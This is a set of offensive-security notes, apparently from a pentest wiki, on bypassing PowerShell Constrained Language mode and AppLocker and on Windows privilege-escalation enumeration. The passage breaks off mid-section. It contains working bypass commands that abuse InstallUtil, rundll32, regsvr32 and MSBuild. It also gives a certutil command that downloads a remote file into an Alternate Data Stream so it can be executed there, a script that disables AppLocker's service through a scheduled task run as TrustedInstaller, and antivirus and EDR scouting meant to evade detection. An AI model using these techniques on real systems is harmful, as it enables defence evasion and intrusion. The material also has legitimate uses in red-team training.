If an hardened `AppLocker` configuration is implemented, the following tools leverage Windows built-in binaries, that may be allowed by the `AppLocker` rules defined in the targeted environment, to bypass the `ConstrainedLanguage` language mode. Windows built-in binaries are exploited to load a C# `Dynamic Link Library (DLL)` that uses the `System.Management.Automation` library to emulate an interactive PowerShell console unaffected by language mode (similarly to what is accomplished by the script above).

| Tool             | Exploited built-in binaries                                                                                                                                                                                                                                                    | Command                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PSByPassCLM`    | `InstallUtil.exe`                                                                                                                                                                                                                                                              | <p>x86 systems:<br><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U \<PSBYPASSCLM\_BINARY\_FULL\_PATH></code><br><br>x64 systems:<br><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U \<PSBYPASSCLM\_BINARY\_FULL\_PATH></code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `PowerShdll`     | <p><code>rundll32</code><br><br><code>InstallUtil.exe</code><br><em>Documented as supported but does not seem to work properly.</em><br><br><code>regsvcs.exe</code><br><br><code>regasm.exe</code><br><em>Requires elevated privileges.</em><br><br><code>regsvr32</code></p> | <p><code>rundll32</code>:<br>- Start an interactive console in a new windows:<br><code>rundll32 \<POWERSHDLL\_PATH>,main</code><br>- Execute the specified script:<br><code>rundll32 \<POWERSHDLL\_PATH>,main -f \<SCRIPT\_PATH></code><br><br><code>regsvcs.exe</code>:<br>x86 systems:<br><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe \<POWERSHDLL\_PATH></code><br>x64 systems:<br><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe \<POWERSHDLL\_PATH></code><br><br><code>regasm.exe</code>:<br>x86 systems:<br><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe \<POWERSHDLL\_PATH></code><br>x64 systems:<br><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe \<POWERSHDLL\_PATH></code><br><br><code>regsvr32</code>:<br><code>regsvr32 /s /u \<POWERSHDLL\_PATH></code> (calls <code>DllUnregisterServer</code>).<br><code>regsvr32 /s \<POWERSHDLL\_PATH></code> (calls <code>DllRegisterServer</code>).</p> |
| `PowerLessShell` | `MSBuild.exe`                                                                                                                                                                                                                                                                  | <p>Generation of the <code>csproj</code> that will execute the specified PowerShell script (such as <code>Invoke-PowerShellTcp</code>):<br><code>python2 PowerLessShell.py</code><br><code>Set payload type \[...]> powershell</code><br><code>Path to the PowerShell script> \<POWERSHELL\_SCRIPT\_TO\_EXEC></code><br><code>Path for the generated MsBuild out file> \<CSPROJ\_OUTPUT></code><br><br>Execution using <code>MSBuild</code>:<br><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild \<CSPROJ\_FILE></code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                  |

***

### References

<http://www.3nc0d3r.com/2016/12/pslockdownpolicy-and-ways-around-it.html> <https://github.com/p3nt4/PowerShdll> <https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/> <https://decoder.cloud/2017/11/17/we-dont-need-powershell-exe-part-3/> <https://github.com/padovah4ck/PSByPassCLM> <https://www.sysadmins.lv/blog-en/powershell-50-and-applocker-when-security-doesnt-mean-security.aspx> <https://github.com/stonepresto/CLMBypass>


# Bypass AppLocker

### Overview

AppLocker is a Windows native feature, added in Windows 7 Enterprise that replaces `SRP (Software Restriction Policies)` and allows for the restriction and control of files users can execute.

AppLocker works in accordance with the principle of whitelisting, i.e. files are prevented from being executed or interpreted unless they are explicitly allowed by inclusion in whitelisting rules.

A computer can implement one or more AppLocker rules that are defined locally (in `Local Security Policy`) or centrally via one or more `Group Policy Object (GPO)`. The effective rules that are actually implemented on the computer is the sum of all rules defined in Local and Group policies.

AppLocker can control the process creation for the following files type:

* Executables: `.exe` and `.dom`
* Scripts: `.ps1`, `.bat`, `.cmd`, `.vbs` and `.js`
* Windows Installer: `.msi`, `.msp` and `.mst`
* Packaged Apps: `.appx`
* Shared Libraries and Controls: `.dll` and `.ocx`

### Extract AppLocker configuration

The effectively applied AppLocker rules can be retrieved using the `Get-AppLockerPolicy` PowerShell cmdlet.

An AppLocker rule is defined for an user or group, identified by the `UserOrGroupSid` attribute, and one or more conditions, which can be a filesystem paths, publishers for digitally signed files or files hashes.

```
Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL"

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
```

### Bypass default AppLocker rules

AppLocker provides different default rules for each files type category:

* **Executables** The members of the local administrators group (SID `S-1-5-32-544`) can execute any binaries, while the other users can only execute binaries from the `%PROGRAMFILES%` and `%WINDIR%` folders.
* **Scripts** Similarly, the default scripts rules allow the members of the local Administrators group (SID S-1-5-32-544) to execute any scripts, while the other users can only execute scripts from the `%PROGRAMFILES%` and `%WINDIR%` folders.
* **Windows Installer** The default Windows Installers rules allow the members of the local Administrators group (SID S-1-5-32-544) to execute any Windows Installer files, while other users may only execute Windows Installer files that are digitally signed, by any authority, or from the `%WINDIR%\Installer\` folder.
* **Packaged Apps** By default, any user (`Everyone`) can execute digitally signed, by any authority, packaged apps.
* **Shared Libraries and Controls** The `Dynamic Link Libraries (DLL)` rules must be enforced through advanced configuration, as they can affect system performance. In a basic AppLocker configuration, DLL rules may not be enforced. If enforced, the default DLL rules work in the same fashion as the executables and scripts rules. The members of the local administrators group (SID `S-1-5-32-544`) can load any DLL, while the other users can only load DLLs from the `%PROGRAMFILES%` and `%WINDIR%` folders.

**Using writable files and folders in %PROGRAMFILES% and %WINDIR% folders**

While these rules may seem secure, files or folders in `%PROGRAMFILES%` and `%WINDIR%` may be writable by non privileged users, resulting in a potential bypass of AppLocker default rules. Indeed, any executables and scripts placed in such folders, by non-privileged user that would normally be restricted in their programs execution by AppLocker, could allow for files execution against the default AppLocker rules.

The following folders in `%WINDIR%` may be writable by non privileged users on non-hardened `Windows 10` and `Windows Server 2016` systems:

```
# [System.Environment]::ExpandEnvironmentVariables("%WINDIR%")

%WINDIR%\System32\spool\drivers\color
%WINDIR%\tracing
%WINDIR%\Registration\CRMLog
%WINDIR%\servicing\Packages
%WINDIR%\servicing\Sessions
%WINDIR%\Tasks
%WINDIR%\Temp
%WINDIR%\System32\FxsTmp
%WINDIR%\System32\com\dmp
%WINDIR%\System32\Microsoft\Crypto\RSA\MachineKeys
%WINDIR%\System32\spool\PRINTERS
%WINDIR%\System32\spool\SERVERS
%WINDIR%\System32\Tasks\Microsoft\Windows\SyncCenter
%WINDIR%\System32\Tasks_Migrated
%WINDIR%\SysWOW64\FxsTmp
%WINDIR%\SysWOW64\com\dmp
%WINDIR%\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
%WINDIR%\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

The following PowerShell script can be used to enumerate the files and folders writable by the `Users`, `Authenticated Users` and `Everyone` groups. It can be run in `Constrained language` mode using `powershell.exe -c IEX '<POWERSHELL_CODE>'` in order to bypass the default AppLocker scripts rules.

```
# Source: https://gist.githubusercontent.com/bbhunter/20ca2d805d129aaaea7fda93aa48bfb4/raw/aec547f051b9b885b0d22ec989713d4c1a589b7e/UserWritableLocations.ps1

Param(
[parameter(Mandatory=$false)]
[String[]] $Exclusions = @(),

[parameter(Mandatory=$false)]
[String[]] $Paths = @(
  "C:\Windows",
  "C:\Program Files",
  "C:\Program Files (x86)"
),

[parameter(Mandatory=$false)]
[String] $OutFile
)

$FSR = [System.Security.AccessControl.FileSystemRights]

$GenericRights = @{
  GENERIC_READ    = [int]0x80000000;
  GENERIC_WRITE   = [int]0x40000000;
  GENERIC_EXECUTE = [int]0x20000000;
  GENERIC_ALL     = [int]0x10000000;
  FILTER_GENERIC  = [int]0x0FFFFFFF;
}

$MappedGenericRights = @{
  FILE_GENERIC_READ    = $FSR::ReadAttributes -bor $FSR::ReadData -bor $FSR::ReadExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
  FILE_GENERIC_WRITE   = $FSR::AppendData -bor $FSR::WriteAttributes -bor $FSR::WriteData -bor $FSR::WriteExtendedAttributes -bor $FSR::ReadPermissions -bor $FSR::Synchronize
  FILE_GENERIC_EXECUTE = $FSR::ExecuteFile -bor $FSR::ReadPermissions -bor $FSR::ReadAttributes -bor $FSR::Synchronize
  FILE_GENERIC_ALL     = $FSR::FullControl
}

Function Map-GenericRightsToFileSystemRights([System.Security.AccessControl.FileSystemRights]$Rights) {  
  $MappedRights = New-Object -TypeName $FSR

  If ($Rights -band $GenericRights.GENERIC_EXECUTE) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_EXECUTE
  }

  If ($Rights -band $GenericRights.GENERIC_READ) {
   $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_READ
  }

  If ($Rights -band $GenericRights.GENERIC_WRITE) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_WRITE
  }

  If ($Rights -band $GenericRights.GENERIC_ALL) {
    $MappedRights = $MappedRights -bor $MappedGenericRights.FILE_GENERIC_ALL
  }

  return (($Rights -band $GenericRights.FILTER_GENERIC) -bor $MappedRights) -as $FSR
}

$WriteRights = @("WriteData", "CreateFiles", "CreateDirectories", "WriteExtendedAttributes", "WriteAttributes", "Write", "ModIfy", "FullControl")

Function NotLike($String, $Patterns) {  
  ForEach ($Pattern in $Patterns) { If ($String -like $Pattern) { return $False } }
  return $True
}

function Scan($Path, $OutputFile) {
  If ($OutFile) { New-Item -Force -ItemType File -Path $OutputFile | Out-Null }
  $Cache = @()
  gci $Path -Recurse -Exclude $Exclusions -Force -ea silentlycontinue |
  ? {(NotLike $_.fullname $Exclusions)} | %{
    trap { continue }
    $File = $_.fullname
    (get-acl $File -ea silentlycontinue).access |
    ? {$_.identityreference -Match ".*USERS|EVERYONE"} | %{
      (map-genericrightstofilesystemrights $_.filesystemrights).tostring().split(",") | %{
        If ($WriteRights -Contains $_.trim()) {
		  If ($Cache -NotContains $File) {
		    Write-Host $File
		    If ($OutputFile) { $File | Out-File -Append -Force -FilePath $OutFile }
			$Cache += $File
		  }
        }
      }
    }
  }
  return $Cache
}

$Paths | %{ scan $_ $OutFile }
```

If a file is writable, NTFS `Alternate Data Streams (ADS)` can be leveraged to bypass AppLocker without overwriting the file content, as AppLocker rules do not prevent the execution of `ADS` streams.

```
# Executables
# type being the DOS utility, not the PowerShell Out-File alias
type <BINARY> > "<LEGITIMATE_FILE>:<ADS_STREAM>"
certutil.exe -urlcache -split -f http://<IP>:<PORT>/<FILE> "<LEGITIMATE_FILE>:<ADS_STREAM>"

wmic process call create "<LEGITIMATE_FILE>:<ADS_STREAM>"

# PowerShell scripts
type <BINARY> > "<LEGITIMATE_FILE>:<ADS_STREAM>"
certutil.exe -urlcache -split -f http://<IP>:<PORT>/<FILE> "<LEGITIMATE_FILE>:<ADS_STREAM>"
powershell.exe -c "Get-Content C:\Windows\System32\spool\drivers\color\accesschk64.exe -Stream tmp.ps1 | IEX"
```

A more comprehensive list of tools and techniques to add and execute content for `ADS` is available on GitHub:

```
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
```

**Using Windows built-in binaries**

If the current user does not have the necessary rights to write to any whitelisted files or folders, default Windows built-in or .NET framework binaries may permit to run malicious payloads. As these binaries are stored in the %WINDIR% folder, their usage is authorized by the default AppLocker rules.

Among others, the following binaries may be leveraged to execute a custom payload:

```
Installutil.exe
Msbuild.exe
Mshta.exe
Regasm.exe
Regsvcs.exe
Regsvr32.exe
```

Payloads using the above utilities may be generated using the Python tool `GreatSCT`.

### Bypassing hardened AppLocker rules

**Using DLL hijacking**

If the current user does not have the necessary rights to write to any whitelisted files or folders, and if the Windows built-in or .NET framework binaries that permit code execution are blacklisted by specific rules, DLL hijacking, of the DLL loaded by legitimate binaries, may allow for the bypass of AppLocker. DLL hijacking may also be exploited against binaries that are whitelisted, by path or file hash rules.

If the `Procmon` utility, from the `Sysinternals` suite, can be used on the targeted system, the following filter may be used to determine if any process may be exploitable for bypassing AppLocker using DLL hijacking:

| Column    | Relation    | Value          | Action  |
| --------- | ----------- | -------------- | ------- |
| Result    | is          | NAME NOT FOUND | Include |
| Path      | ends with   | dll            | Include |
| Path      | ends with   | sys            | Include |
| Path      | begins with | C:\Windows     | Exclude |
| Path      | begins with | C:\Program     | Exclude |
| Operation | begins with | Reg            | Exclude |

For more information on DLL hijacking refer to the `Windows - DLL hijacking` note.

### Bypassing AppLocker as an administrator

AppLocker is not intended to be used as a way to restrict program execution of members of the Administrators group. Even if an attempt to do so is made through specific AppLocker rules, members of the Administrators group may modify the AppLocker rules, either using `gpedit.msc` / `secpol.msc`, or by directly editing the rules, stored as files, in the `%WINDIR%\System32\AppLocker` folder.

Additionally, members of the Administrators group have the possibility to disable the `appidsvc` service, thus rendering AppLocker ineffective. However, the `appidsvc` can not directly be stopped, as while being `STOPPABLE` / `ACCEPTS_SHUTDOWN`, the service starts in `Manual (Trigger Start)` mode and is triggered and restarted by any AppLocker event, such as the execution of a file. The configuration of the service must thus be altered, and a restart of the operating system is needed in order to make the change effective. As the `appidsvc` service is protected by default by the Windows `Protected Process Light` mechanism, the `Service Control Manager (SCM)` restricts configuration of the service to the `TrustedInstaller` service account SID. The members of the Administrators group have the possibility to circumvent this protection by creating and running a schedule task that will run as the `TrustedInstaller` service account and change the `appidsvc` start mode before stopping it. The following code from James Forshaw can be used to do so:

```
# sc.exe qprotection appidsvc
# SERVICE appidsvc PROTECTION LEVEL: WINDOWS LIGHT.

$a = New-ScheduledTaskAction -Execute cmd.exe -Argument "/C sc.exe config appidsvc start= demand && sc.exe stop appidsvc"
Register-ScheduledTask -TaskName 'TestTask' -TaskPath \ -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
$task = $folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user)
```

***

### References

<http://docshare02.docshare.tips/files/17344/173447840.pdf> <https://github.com/api0cradle/UltimateAppLockerByPassList> <https://hinchley.net/articles/an-approach-for-managing-microsoft-applocker-policies/> <https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992>


# Local privilege escalation

The following note assumes that a low privilege shell could be obtained on the target.

To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the `[General] Shells` note.

“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance

### Basic enumeration

The following commands can be used to grasp a better understanding of the current system:

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | DOS                                                                                                                                                                                                                                                                                                                                                                                                                 | Powershell                                                                                                                                                           | WMI                                                                                                                                                           |                                       |                                                                        |                         |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- | ---------------------------------------------------------------------- | ----------------------- |
| **Basic info**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `net config workstation`                                                                                                                                                                                                                                                                                                                                                                                            | `Get-ComputerInfo`                                                                                                                                                   |                                                                                                                                                               |                                       |                                                                        |                         |
| **OS details**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `systeminfo`                                                                                                                                                                                                                                                                                                                                                                                                        | `[environment]::OSVersion.Version`                                                                                                                                   |                                                                                                                                                               |                                       |                                                                        |                         |
| **OS Architecture**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `echo %PROCESSOR_ARCHITECTURE%`                                                                                                                                                                                                                                                                                                                                                                                     | `[Environment]::Is64BitOperatingSystem`                                                                                                                              | `wmic os get osarchitecture`                                                                                                                                  |                                       |                                                                        |                         |
| **Hostname**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `hostname`                                                                                                                                                                                                                                                                                                                                                                                                          | `$env:ComputerName`                                                                                                                                                  | <p><code>wmic computersystem get name</code><br>(PS) <code>(Get-WmiObject Win32\_ComputerSystem).Name</code></p>                                              |                                       |                                                                        |                         |
| **Fully qualified hostname**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `net config workstation \| findstr /C:"Full Computer name"`                                                                                                                                                                                                                                                                                                                                                         | `[System.Net.Dns]::GetHostByName($env:computerName)`                                                                                                                 |                                                                                                                                                               |                                       |                                                                        |                         |
| **Drives**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                     | <p><code>\[System.IO.DriveInfo]::getdrives()</code><br><code>Get-PSDrive -PSProvider FileSystem</code></p>                                                           |                                                                                                                                                               |                                       |                                                                        |                         |
| **Curent Domain**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | <p><code>echo %userdomain%</code><br><code>systeminfo                                                                                                                                                                                                                                                                                                                                                               | findstr "Domain"</code></p>                                                                                                                                          | <p><code>$env:UserDomain</code> (NetBIOS domain name)<br><code>$env:UserDomain</code> (fully qualified domain name)<br><code>systeminfo                       | Select-String Domain</code></p>       | (PS) `(Get-WmiObject Win32_ComputerSystem).Domain`                     |                         |
| **Curent User**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | <p><code>whoami /all</code><br><code>net user %username%</code></p>                                                                                                                                                                                                                                                                                                                                                 | `$env:UserName`                                                                                                                                                      | (PS) `(Get-WmiObject Win32_ComputerSystem).UserName`                                                                                                          |                                       |                                                                        |                         |
| **Local users**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | <p><code>net users</code><br><code>net users \<USERNAME></code></p>                                                                                                                                                                                                                                                                                                                                                 | `Get-LocalUser`                                                                                                                                                      | <p><code>wmic USERACCOUNT list full</code><br>(PS) <code>Get-WMIObject Win32\_UserAccount -NameSpace "root\CIMV2" -Filter "LocalAccount='$True'"</code></p>   |                                       |                                                                        |                         |
| **Local groups**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `net localgroup`                                                                                                                                                                                                                                                                                                                                                                                                    | *(Win10+)* `Get-LocalGroup`                                                                                                                                          | `wmic group list full`                                                                                                                                        |                                       |                                                                        |                         |
| **Local groups' member(s)**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | <p><code>net localgroup Administrators</code><br><code>net localgroup \<GROUPNAME></code></p>                                                                                                                                                                                                                                                                                                                       | <p><code>Get-LocalGroupMember -Name "\<GROUPNAME>"</code><br><br><code>foreach ($group in Get-LocalGroup) { \[PSCustomObject]@{ Group = $group.Name; User = (($group | Get-LocalGroupMember).Name                                                                                                                                    | Out-String) }                         | fl }</code></p>                                                        |                         |
| **Connected users**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p><code>qwinsta</code><br><code>query user</code></p>                                                                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                      |                                                                                                                                                               |                                       |                                                                        |                         |
| **Powershell version**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `Powershell $psversiontable`                                                                                                                                                                                                                                                                                                                                                                                        | `$psversiontable`                                                                                                                                                    |                                                                                                                                                               |                                       |                                                                        |                         |
| **Environement variables**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `set`                                                                                                                                                                                                                                                                                                                                                                                                               | `Get-ChildItem Env: \| ft Key,Value`                                                                                                                                 |                                                                                                                                                               |                                       |                                                                        |                         |
| **Mounted disks**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `fsutil fsinfo drives`                                                                                                                                                                                                                                                                                                                                                                                              | `Get-PSDrive \| where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}`                                                                                    | `wmic volume get DriveLetter,FileSystem,Capacity`                                                                                                             |                                       |                                                                        |                         |
| **Writable directories**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `dir /a-rd /s /b`                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                      |                                                                                                                                                               |                                       |                                                                        |                         |
| **Writable files**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `dir /a-r-d /s /b`                                                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                      |                                                                                                                                                               |                                       |                                                                        |                         |
| **Processes**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `tasklist /v`                                                                                                                                                                                                                                                                                                                                                                                                       | `Get-Process \| Ft Name,Id`                                                                                                                                          | <p><code>wmic process get name,processid,executablepath,commandline,parentprocessid</code><br>(PS) <code>Get-WmiObject -Query "Select \* from Win32\_Process" | where {$\_.Name -notlike "svchost\*"} | Select Name, Handle, @{Label="Owner";Expression={$\_.GetOwner().User}} | ft -AutoSize</code></p> |
| **Processes command line**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                      | <p><code>wmic process get Name,ProcessID,ExecutablePath</code><br>(PS) <code>Get-WmiObject win32\_process                                                     | Select Name,Handle,CommandLine        | Format-List</code></p>                                                 |                         |
| **`TCP` / `UDP` network connections**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `netstat -anob`                                                                                                                                                                                                                                                                                                                                                                                                     | `Get-NetTCPConnection`                                                                                                                                               |                                                                                                                                                               |                                       |                                                                        |                         |
| <p><strong>User Account Control (UAC)</strong><br><br><code>EnableLUA</code> = <code>0x1</code> -> <code>UAC</code> is enabled (default since <code>Windows Vista</code> / <code>Windows Server 2008</code>).<br><br><code>LocalAccountTokenFilterPolicy</code> = <code>0x1</code> -> <code>UAC</code> remote restrictions are disabled (non default).<br><br><code>FilterAdministratorToken</code> = <code>0x1</code> -> <code>UAC</code> is enforced for the local built-in <code>Administrator</code> account <code>RID</code> 500 (non default).</p> | <p><code>reg query HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA</code><br><br><code>reg query HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy</code><br><br><code>reg query HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken</code></p> | `Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA,LocalAccountTokenFilterPolicy,FilterAdministratorToken`            |                                                                                                                                                               |                                       |                                                                        |                         |

**Installed .NET framework**

A number of tools may require the use of the `.NET Framework`, either for privileges escalation or post exploitation. The `.NET Framework 4.8` will be the last version released of the `.NET Framework` (only security updates and reliability hotfixes will follow).

Each version of the `.NET Framework` contains the `Common Language Runtime (CLR)`, used to execute `managed code` of `.NET` programs. A `.NET` programs should be build to target the `CLR` version associated with the `.NET Framework` installed on the (targeted) host. For instance, an utility can be build to target the `.NET Framework 4.8` even if only the `.NET Framework 4` is installed on the host the utility will be executed on.

| .NET Framework version                                                                                       | CLR version |
| ------------------------------------------------------------------------------------------------------------ | ----------- |
| <p><code>.NET Framework 2.0</code><br><code>.NET Framework 3.0</code><br><code>.NET Framework 3.5</code></p> | 2           |
| <p><code>.NET Framework 4</code><br><code>.NET Framework 4.5 - 4.8</code></p>                                | 4           |

The `.NET Framework` is installed by default on Windows, with [a version depending on the Windows version](https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies):

| Windows version / build                                                                    | .NET Framework version                                                              |
| ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------- |
| `Windows Server 2022`                                                                      | `.NET Framework 4.8`                                                                |
| `Windows 11`                                                                               | `.NET Framework 4.8`                                                                |
| `Windows 10 (build 1903+)`                                                                 | <p><code>.NET Framework 4.8</code><br><code>.NET Framework 3.5 SP1</code>\*</p>     |
| <p><code>Windows Server 2019</code><br><code>Windows Server version 1803 / 1809</code></p> | `.NET Framework 4.7.2`                                                              |
| `Windows 10 (build 1803 / 1809)`                                                           | <p><code>.NET Framework 4.7.2</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows Server version 1709`                                                              | `.NET Framework 4.7.1`                                                              |
| `Windows 10 (build 1709)`                                                                  | <p><code>.NET Framework 4.7.1</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows 10 (build 1703)`                                                                  | <p><code>.NET Framework 4.7</code><br><code>.NET Framework 3.5 SP1</code>\*</p>     |
| `Windows Server 2016`                                                                      | `.NET Framework 4.6.2`                                                              |
| `Windows 10 (build 1607)`                                                                  | <p><code>.NET Framework 4.6.2</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows 10 (build 1511)`                                                                  | <p><code>.NET Framework 4.6.1</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows 10 (build 1507)`                                                                  | <p><code>.NET Framework 4.6.0</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows Server 2012 R2`                                                                   | <p><code>.NET Framework 4.5.1</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows Server 2012`                                                                      | <p><code>.NET Framework 4.5</code><br><code>.NET Framework 3.5 SP1</code>\*</p>     |
| `Windows 8.1`                                                                              | <p><code>.NET Framework 4.5.1</code><br><code>.NET Framework 3.5 SP1</code>\*</p>   |
| `Windows 8`                                                                                | <p><code>.NET Framework 4.5</code><br><code>.NET Framework 3.5 SP1</code>\*</p>     |
| `Windows 7`                                                                                | `.NET Framework 3.5.1`                                                              |
| `Windows Server 2008 R2`                                                                   | `.NET Framework 3.5.1`                                                              |
| `Windows Server 2008 SP2`                                                                  | <p><code>.NET Framework 3.0 SP2</code>\*<br><code>.NET Framework 2.0 SP1</code></p> |
| <p><code>Windows Server 2008</code><br><code>Windows Server 2008 SP1</code></p>            | <p><code>.NET Framework 3.0 SP1</code>\*<br><code>.NET Framework 2.0 SP1</code></p> |
| `Windows Vista SP1`                                                                        | <p><code>.NET Framework 3.0 SP1</code>\*<br><code>.NET Framework 2.0 SP1</code></p> |
| `Windows Vista`                                                                            | <p><code>.NET Framework 3.0</code>\*<br><code>.NET Framework 2.0</code></p>         |
| `Windows Server 2003 (x86)`                                                                | <p><code>.NET Framework 2.0</code><br><code>.NET Framework 1.1</code></p>           |

\**The `.NET Framework` version must be enabled (either through the `Control Panel` or, for Windows Server, through the `Server Manager`).*

The version of the `.NET Framework` framework installed can be determined through registry key entries. Additionally, before `.NET Framework 4.0`, the installed `.NET Framework` version can be determined using the names of the folder in the `\Windows\Microsoft.NET\Framework64\` directory. For later versions, the `MSBuild.exe` utility, packaged with the `.NET` framework, can be used to establish the precise version installed. If the execution of `MSBuild.exe` is blocked, the version can still be retrieved manually.

```
# .NET 4.5 and later.
# The "Release" DWORD key corresponds to the particular version of the .NET Framework installed.
# Values of the Release DWORD: https://github.com/dotnet/docs/blob/master/docs/framework/migration-guide/how-to-determine-which-versions-are-installed.md
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full"

# Alternatively the MSBuild.exe utility can be used instead of directly quering the registry.
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe

# .NET 1.1 through 3.5.
# List all install versions (subkeys under NDP).
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\
# Retrieve the "Version" key of the specified .NET installation
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\<VERSION>

# Alternative for .NET all versions.
# The "FileVersion" property of the .NET installation dlls can be used to determine, through a Google search query, the precise installed version
cd \Windows\Microsoft.NET\Framework64\<VERSION>
Get-Item "Accessibility.dll" | fl
# Or
$file = Get-Item "Accessibility.dll"
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($file).FileVersion
```

### Defense and supervision scouting

Before attempting a local privilege escalation, notably in a covert scenario, establishing a precise vision on the system security defense and supervision mechanisms may help evade detection.

**Antivirus product**

The `Windows Security Center` is a Windows component which, among other features, keep track of the antivirus products installed on the system and their status (monitoring mode and antivirus signatures update status). The `Security Center` consolidates the `Windows Defender` status as well as third party antivirus solutions by:

* searching for registry keys and files provided to Microsoft by the antivirus software manufacturers
* exposing a WMI provider on which antivirus software manufacturers can report their product status

Note that some `Endpoint Detection and Response (EDR)` solutions may not be registered in the `SecurityCenter` and can only be detected by listing the running processes or configured services.

```bash
# SecurityCenter: Windows 2000, Windows Server 2003, Windows XP, and older
# SecurityCenter2: Windows Vista, Windows Server 2008, or newer

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Ft displayName,productState,timestamp
WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName,productState,timestamp /Format:List
```

The `productState` property can be parsed and converted to a human readable format using the following PowerShell code snippet:

```bash
